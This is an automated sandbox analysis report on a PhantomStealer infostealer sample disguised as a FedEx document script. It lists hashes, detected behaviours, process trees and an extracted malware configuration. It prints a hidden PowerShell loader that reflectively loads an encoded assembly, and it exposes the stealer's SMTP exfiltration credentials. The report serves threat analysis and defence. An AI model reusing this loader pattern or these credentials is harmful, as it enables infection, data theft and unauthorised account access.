phantom_stealer | 575892f6d1711a7722609b01135a9f7f175f8aaa23af1d60e3bedc273df0b129

Analysis

max time kernel
149s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/07/2026, 07:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fedex70705345437_Doc.js
Size 15.6MB
Sample260720-jjee2ac15y
SHA256 575892f6d1711a7722609b01135a9f7f175f8aaa23af1d60e3bedc273df0b129
MD5 71671cc89b18c6a86faed3349bf84d16
SHA1 857868536d694e73af918b5456f805b95406a94d
SHA512 60226c8989ba16e85bcf9f7186cfef03bb1a971c1e97cf07e182ac361cbdca7068f2465f376b9b615de6fda18c046c6e1fef37cbf69e8f69d0db283ce55dd3d0
SSDEEP 768:5CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCX:P6hlHE
TLSH
T17CF63FEB32519595DC79370DB594FCB0026DFC31AA5A636CB6A20B0502A7FAB5C33363
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
gimas.bg
Port
587
Username
[email protected]
Password
sa1613bh

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
gimas.bg
Port
587
Username
[email protected]
Password
sa1613bh
Email to
[email protected]

Mutex

K5O7W2WEMSJKN2ZT85XY

Attributes

anti_analysis
0
cb_enables_ssl
1
debug
0
keylogger
0
start_delay
0
startup
0

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 1 IoCs

resource	yara_rule
behavioral1/memory/4596-15-0x0000000000400000-0x00000000004BE000-memory.dmp	family_phantomstealer

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3848	776	powershell.exe	85

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	3848	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3848	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fedex70705345437_Doc.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fedex70705345437_Doc.js	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
198	icanhazip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3848 set thread context of 4596	3848	powershell.exe	88

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msBuild.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1264	chrome.exe
5412	msedge.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	msBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	msBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
4596	msBuild.exe
4596	msBuild.exe
4652	chrome.exe
4652	chrome.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe
4596	msBuild.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	4596	msBuild.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
4652	chrome.exe
4652	chrome.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2160	firefox.exe
2564	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2160	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3848 wrote to memory of 4596	3848	powershell.exe	88
PID 3848 wrote to memory of 4596	3848	powershell.exe	88
PID 3848 wrote to memory of 4596	3848	powershell.exe	88
PID 3848 wrote to memory of 4596	3848	powershell.exe	88
PID 3848 wrote to memory of 4596	3848	powershell.exe	88
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4652 wrote to memory of 3856	4652	chrome.exe	90
PID 4652 wrote to memory of 4660	4652	chrome.exe	91
PID 4652 wrote to memory of 1264	4652	chrome.exe	92
PID 4652 wrote to memory of 3364	4652	chrome.exe	93
PID 4652 wrote to memory of 4484	4652	chrome.exe	94
PID 4652 wrote to memory of 3484	4652	chrome.exe	95
PID 4652 wrote to memory of 4464	4652	chrome.exe	96
PID 4652 wrote to memory of 3412	4652	chrome.exe	97
PID 4652 wrote to memory of 2592	4652	chrome.exe	98
PID 4652 wrote to memory of 1712	4652	chrome.exe	99
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4652 wrote to memory of 2356	4652	chrome.exe	100
PID 4596 wrote to memory of 4660	4596	msBuild.exe	91
PID 4596 wrote to memory of 4660	4596	msBuild.exe	91
PID 4596 wrote to memory of 2356	4596	msBuild.exe	100
PID 4596 wrote to memory of 2356	4596	msBuild.exe	100
PID 4596 wrote to memory of 1712	4596	msBuild.exe	99
PID 4596 wrote to memory of 1712	4596	msBuild.exe	99
PID 4596 wrote to memory of 3484	4596	msBuild.exe	95
PID 4596 wrote to memory of 3484	4596	msBuild.exe	95
PID 4596 wrote to memory of 4464	4596	msBuild.exe	96
PID 4596 wrote to memory of 4464	4596	msBuild.exe	96
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4596 wrote to memory of 3364	4596	msBuild.exe	93
PID 4596 wrote to memory of 3364	4596	msBuild.exe	93
PID 4596 wrote to memory of 1264	4596	msBuild.exe	92
PID 4596 wrote to memory of 1264	4596	msBuild.exe	92
PID 4596 wrote to memory of 3412	4596	msBuild.exe	97
PID 4596 wrote to memory of 3412	4596	msBuild.exe	97
PID 4596 wrote to memory of 2592	4596	msBuild.exe	98
PID 4596 wrote to memory of 2592	4596	msBuild.exe	98
PID 4596 wrote to memory of 4660	4596	msBuild.exe	91
PID 4596 wrote to memory of 4660	4596	msBuild.exe	91
PID 4596 wrote to memory of 1712	4596	msBuild.exe	99
PID 4596 wrote to memory of 1712	4596	msBuild.exe	99
PID 4596 wrote to memory of 3484	4596	msBuild.exe	95
PID 4596 wrote to memory of 3484	4596	msBuild.exe	95
PID 4596 wrote to memory of 4464	4596	msBuild.exe	96
PID 4596 wrote to memory of 4464	4596	msBuild.exe	96
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 4652	4596	msBuild.exe	89
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4596 wrote to memory of 3856	4596	msBuild.exe	90
PID 4596 wrote to memory of 3364	4596	msBuild.exe	93
PID 4596 wrote to memory of 3364	4596	msBuild.exe	93
PID 4596 wrote to memory of 1264	4596	msBuild.exe	92
PID 4596 wrote to memory of 1264	4596	msBuild.exe	92
PID 4596 wrote to memory of 3412	4596	msBuild.exe	97
PID 4596 wrote to memory of 3412	4596	msBuild.exe	97
PID 4596 wrote to memory of 2592	4596	msBuild.exe	98
PID 4596 wrote to memory of 2592	4596	msBuild.exe	98
PID 4596 wrote to memory of 4660	4596	msBuild.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Fedex70705345437_Doc.js
1⤵
- Drops startup file
PID:1892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('BQb2lYPz59dRW8/fY9fepQtxBixJnPyOQ/P5rT98lQkRm8wqL92AaGwY7G6e8JGHZPXmlooZ16gNjKPsMEpfcBYUbnnb6yIC44xbJfME+6REnV27nfYnjLN6ds7U5OsQZwaIG8HhaC2b5VxkUsfxSw==','','wFJgCFzAci1Ndwg69i6b8eNr/myDUMXBAjLdISbvUn66+cqaBajVhX1DikDoOgs0','tDEiiEyU1HHp7jgaSDEMeN3vjUlnn9kwPytsUVfCNLs=','uRhc0OYh917qfJ1qzEOVKKvoY2IA3LLPfIHPsja1zbI=','','0BJPkgBKb40EvjUM2ULrmfETCtsBAgAl1kl7Ncq/OY4=','','r09Z+70N6lnSllsRuJJ1cCy4AAE88D/sSJp+RWLffWQ=','Cc90iSgP9b1GhZZZowDhHX5XYtuvICBdGuG8WXAJXPZmy6ZBjqjrMKF/n4lfFMaA','fJMQEIBkidi4ZRtpL3FKpC/aN5U75cMmsdKaft0wR+o=','BjTgXc85rSSpXZ+k/pnHvDJCeiF0LCD+ux96Nl6a1v8=','vcfCQFzfQPKtDtbDvbgYka3iNl+oLLPqtOEVIlt3G0s=','','wlwDxqcrN3nB5vpDZdV1Cjc1LZos3aBqZRhd90rEnPU=','e5gsMv3D4gSD8RK/RHUXAJmloUl/PWIGpR3F2HBLoHk=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020"
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4652
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\bgthplk4.020 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\bgthplk4.020\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\bgthplk4.020 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc63ddc728,0x7ffc63ddc734,0x7ffc63ddc740
      4⤵
      PID:3856
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1680,i,14413840482603507265,8312702483487084680,262144 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:2
      4⤵
      PID:4660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --force-high-res-timeticks=disabled --metrics-shmem-handle=1752,i,1425070056808427848,2959502439963299570,524288 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3
      4⤵
      System Time Discovery
      PID:1264
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --force-high-res-timeticks=disabled --metrics-shmem-handle=2184,i,15349908221407597725,18223671146440397152,524288 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:8
      4⤵
      PID:3364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2876,i,10713933845233466652,1125567893003754123,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:1
      4⤵
      PID:4484
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2884,i,2818578736065544245,8308005192671227710,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
      4⤵
      PID:3484
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3352,i,17625741097692866870,3652408954540995203,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
      4⤵
      PID:4464
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3376,i,9461072530274799387,16032379117833380555,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:2
      4⤵
      PID:3412
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4020,i,2568437289066319570,13129899134895418225,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:2
      4⤵
      PID:2592
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4124,i,7011287981287522409,13381573700940465888,2097152 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=4052 /prefetch:1
      4⤵
      PID:1712
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bgthplk4.020" --force-high-res-timeticks=disabled --metrics-shmem-handle=3748,i,18424976037503310528,9959730168267484845,524288 --field-trial-handle=2036,i,6294079964969907314,2338160637092521025,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:8
      4⤵
      PID:2356
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\mgz5mkgq.u5j"
    3⤵
    PID:4192
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\mgz5mkgq.u5j
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2160
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1984 -prefsLen 27099 -prefMapHandle 1988 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {0e4bcd13-c096-4fc2-8cb7-40b2c4a9fd1d} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:4364
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2244 -prefsLen 27135 -prefMapHandle 2248 -prefMapSize 270279 -ipcHandle 2236 -initialChannelId {930a2605-4a48-4331-99fb-ec694742c37a} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:4356
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\e90d3450-a159-4269-b987-28919c70e5c0.dmp"
        5⤵
        
        PID:4788
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2916 -prefsLen 27135 -prefMapHandle 2920 -prefMapSize 270279 -ipcHandle 2316 -initialChannelId {45233f77-ea32-4cd5-98be-942922a62b61} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:5092
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2ee2c0a0-5d2c-4cfa-9a3c-dada6832055d.dmp"
        5⤵
        
        PID:4256
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3252 -prefsLen 27135 -prefMapHandle 3248 -prefMapSize 270279 -ipcHandle 3320 -initialChannelId {64b10163-c9ac-4e02-a4af-7e3bc9945e9c} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:976
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\8c0823d3-3b70-4c6a-9c4f-c550f20f412a.dmp"
        5⤵
        
        PID:3504
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3496 -prefsLen 27200 -prefMapHandle 3500 -prefMapSize 270279 -ipcHandle 2948 -initialChannelId {9982041d-9ace-4672-8422-31e1be3f7d55} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:2224
